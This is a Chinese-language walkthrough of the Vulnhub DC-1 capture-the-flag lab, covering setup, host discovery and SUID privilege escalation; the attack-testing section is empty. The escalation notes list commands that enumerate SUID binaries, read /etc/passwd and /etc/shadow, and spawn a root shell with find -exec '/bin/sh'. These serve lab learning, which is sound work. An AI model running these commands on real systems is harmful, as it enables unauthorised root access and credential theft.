0x00 DC-1靶场介绍

靶场介绍：关于VulnhubVulnhub是一个特别好的渗透测试实战网站，提供了许多带有漏洞的渗透测试

渗透要求：靶机需要获得root权限，并找到所有的5个flag

环境配置：因不知道DC-1靶机的IP，所有我们需要将靶机和kali放在同一个局域网里面，这里我选择NAT模式

0x01 信息收集

首先进去DC-1靶场环境，显示一个登录页面，我们无法得到账户与密码，因为靶机在NAT模式，故可以用域内存活主机利用工具扫描域内存活主机

0x02 攻击测试

0x03 渗透提权提升

蛮力和字典攻击是不是 *只有获得访问（您将需要访问）的方法。 *您可以如何处理这些凭据？

您能否使用同一方法查找或访问根中的标记？

可能。但也许没那么容易。 也许是吧？

我们使用同一方法去执行操作

首先利用kali破解flag4密码

查找系统上运行的所有SUID可执行文件。

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

####suid提权笔记：

/查看用户cat etc/passwd 除root 其他为启动程序用户

/查看计算机保存的账户密码：cat /ect/shadow

suid提权网站参考：https://gtfobins.github.io/

suid：-rwsr-xr-x test.sh s：配置过suid的文件，使用该文件者将以管理员权限运行

find / -perm -u=s -a -type f 2> /dev/null

• perm -u：查看用户 -s 查看是否为suid

• a ：and

• type f：指定文件类型为文件

directory目录

2 > /dev/null：错误输出重定向 不是所有suid 文件都可以用来提权。

find flag1.txt -exec '/bin/sh' \; 使用find查找任意存在文件到bin、bash 提取到root权限结束闭合

find misc -exec '/bin/sh' \; 查找当前路径下任意文件也行

./ . 当前路径

• exec：拷贝到 \；结束

DC-1渗透结束！